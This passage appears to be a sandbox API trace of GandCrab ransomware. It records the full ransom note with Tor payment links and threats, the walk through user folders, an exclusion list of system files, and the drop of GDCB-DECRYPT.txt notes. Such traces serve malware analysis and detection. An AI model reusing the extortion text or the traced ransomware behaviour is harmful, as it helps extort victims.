hTemplateFile=0x0) returned 0x504 [0054.969] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0054.969] WriteFile (in: hFile=0x504, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285e5dc, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285e5dc*=0xad6, lpOverlapped=0x0) returned 1 [0054.970] CloseHandle (hObject=0x504) returned 1 [0054.970] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.971] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\") returned 89 [0054.971] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\*" [0054.971] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\*", lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0x5b8670 [0054.971] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.971] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0054.971] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.971] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.971] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0054.971] lstrcmpW (lpString1="Command Prompt.lnk", lpString2=".") returned 1 [0054.971] lstrcmpW (lpString1="Command Prompt.lnk", lpString2="..") returned 1 [0054.971] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\", lpString2="Command Prompt.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Command Prompt.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Command Prompt.lnk" [0054.971] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.971] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Command Prompt.lnk") returned 107 [0054.971] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Command Prompt.lnk") returned 107 [0054.971] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.971] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0054.971] lstrcmpW (lpString1="computer.lnk", lpString2=".") returned 1 [0054.971] lstrcmpW (lpString1="computer.lnk", lpString2="..") returned 1 [0054.971] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\", lpString2="computer.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\computer.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\computer.lnk" [0054.971] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.972] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\computer.lnk") returned 101 [0054.972] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\computer.lnk") returned 101 [0054.972] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.972] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0054.972] lstrcmpW (lpString1="Control Panel.lnk", lpString2=".") returned 1 [0054.972] lstrcmpW (lpString1="Control Panel.lnk", lpString2="..") returned 1 [0054.972] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\", lpString2="Control Panel.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Control Panel.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Control Panel.lnk" [0054.972] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.972] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Control Panel.lnk") returned 106 [0054.972] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Control Panel.lnk") returned 106 [0054.972] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.972] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0054.972] lstrcmpW (lpString1="Default Apps.lnk", lpString2=".") returned 1 [0054.972] lstrcmpW (lpString1="Default Apps.lnk", lpString2="..") returned 1 [0054.972] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\", lpString2="Default Apps.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Default Apps.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Default Apps.lnk" [0054.972] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.972] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Default Apps.lnk") returned 105 [0054.972] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Default Apps.lnk") returned 105 [0054.972] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.973] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0054.973] lstrcmpW (lpString1="Desktop.ini", lpString2=".") returned 1 [0054.973] lstrcmpW (lpString1="Desktop.ini", lpString2="..") returned 1 [0054.973] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\", lpString2="Desktop.ini" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Desktop.ini") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Desktop.ini" [0054.973] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.973] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Desktop.ini") returned 100 [0054.973] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Desktop.ini") returned 100 [0054.973] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Desktop.ini") returned 100 [0054.973] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Desktop.ini") returned 100 [0054.973] lstrcmpiW (lpString1="Desktop.ini", lpString2="desktop.ini") returned 0 [0054.973] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.973] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0054.973] lstrcmpW (lpString1="Devices.lnk", lpString2=".") returned 1 [0054.973] lstrcmpW (lpString1="Devices.lnk", lpString2="..") returned 1 [0054.973] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\", lpString2="Devices.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Devices.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Devices.lnk" [0054.973] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.973] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Devices.lnk") returned 100 [0054.973] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Devices.lnk") returned 100 [0054.973] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.973] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0054.973] lstrcmpW (lpString1="File Explorer.lnk", lpString2=".") returned 1 [0054.973] lstrcmpW (lpString1="File Explorer.lnk", lpString2="..") returned 1 [0054.974] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\", lpString2="File Explorer.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\File Explorer.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\File Explorer.lnk" [0054.974] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.974] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\File Explorer.lnk") returned 106 [0054.974] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\File Explorer.lnk") returned 106 [0054.974] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.974] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0054.974] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0054.974] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0054.974] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\GDCB-DECRYPT.txt" [0054.974] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.974] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\GDCB-DECRYPT.txt") returned 105 [0054.974] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\GDCB-DECRYPT.txt") returned 105 [0054.974] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\GDCB-DECRYPT.txt") returned 105 [0054.974] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\GDCB-DECRYPT.txt") returned 105 [0054.974] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0054.974] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0054.974] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0054.974] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0054.974] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0054.974] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0054.974] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0054.974] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0054.974] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0054.974] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.974] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0054.974] lstrcmpW (lpString1="Run.lnk", lpString2=".") returned 1 [0054.974] lstrcmpW (lpString1="Run.lnk", lpString2="..") returned 1 [0054.974] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\", lpString2="Run.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Run.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Run.lnk" [0054.975] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.975] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Run.lnk") returned 96 [0054.975] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Run.lnk") returned 96 [0054.975] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.975] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0054.975] lstrcmpW (lpString1="Windows Defender.lnk", lpString2=".") returned 1 [0054.975] lstrcmpW (lpString1="Windows Defender.lnk", lpString2="..") returned 1 [0054.975] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\", lpString2="Windows Defender.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Windows Defender.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Windows Defender.lnk" [0054.975] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.975] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Windows Defender.lnk") returned 109 [0054.975] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Windows Defender.lnk") returned 109 [0054.975] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.975] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0 [0054.975] FindClose (in: hFindFile=0x5b8670 | out: hFindFile=0x5b8670) returned 1 [0054.976] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0054.976] lstrcmpW (lpString1="Windows PowerShell", lpString2=".") returned 1 [0054.976] lstrcmpW (lpString1="Windows PowerShell", lpString2="..") returned 1 [0054.976] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\", lpString2="Windows PowerShell" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell" [0054.976] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\" [0054.976] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.976] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0054.976] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0054.976] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0054.976] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0054.976] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.977] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\") returned 95 [0054.977] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\*" [0054.977] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\*", lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0x5b8870 [0054.977] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.977] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0054.977] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.977] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.977] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0054.977] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0054.977] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0054.977] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\desktop.ini") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\desktop.ini" [0054.977] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\desktop.ini") returned 106 [0054.977] lstrcmpW (lpString1=".ini", lpString2=".sql") returned -1 [0054.977] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0054.977] lstrcmpW (lpString1="Windows PowerShell (x86).lnk", lpString2=".") returned 1 [0054.977] lstrcmpW (lpString1="Windows PowerShell (x86).lnk", lpString2="..") returned 1 [0054.977] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\", lpString2="Windows PowerShell (x86).lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell (x86).lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell (x86).lnk" [0054.977] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell (x86).lnk") returned 123 [0054.977] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.977] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0054.977] lstrcmpW (lpString1="Windows PowerShell ISE (x86).lnk", lpString2=".") returned 1 [0054.977] lstrcmpW (lpString1="Windows PowerShell ISE (x86).lnk", lpString2="..") returned 1 [0054.977] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\", lpString2="Windows PowerShell ISE (x86).lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell ISE (x86).lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell ISE (x86).lnk" [0054.977] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell ISE (x86).lnk") returned 127 [0054.977] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.977] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0054.977] lstrcmpW (lpString1="Windows PowerShell ISE.lnk", lpString2=".") returned 1 [0054.977] lstrcmpW (lpString1="Windows PowerShell ISE.lnk", lpString2="..") returned 1 [0054.977] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\", lpString2="Windows PowerShell ISE.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell ISE.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell ISE.lnk" [0054.977] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell ISE.lnk") returned 121 [0054.977] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.977] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0054.977] lstrcmpW (lpString1="Windows PowerShell.lnk", lpString2=".") returned 1 [0054.977] lstrcmpW (lpString1="Windows PowerShell.lnk", lpString2="..") returned 1 [0054.977] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\", lpString2="Windows PowerShell.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell.lnk" [0054.977] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell.lnk") returned 117 [0054.977] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.977] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0 [0054.977] FindClose (in: hFindFile=0x5b8870 | out: hFindFile=0x5b8870) returned 1 [0054.977] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.978] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\\\GDCB-DECRYPT.txt") returned 112 [0054.978] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\windows 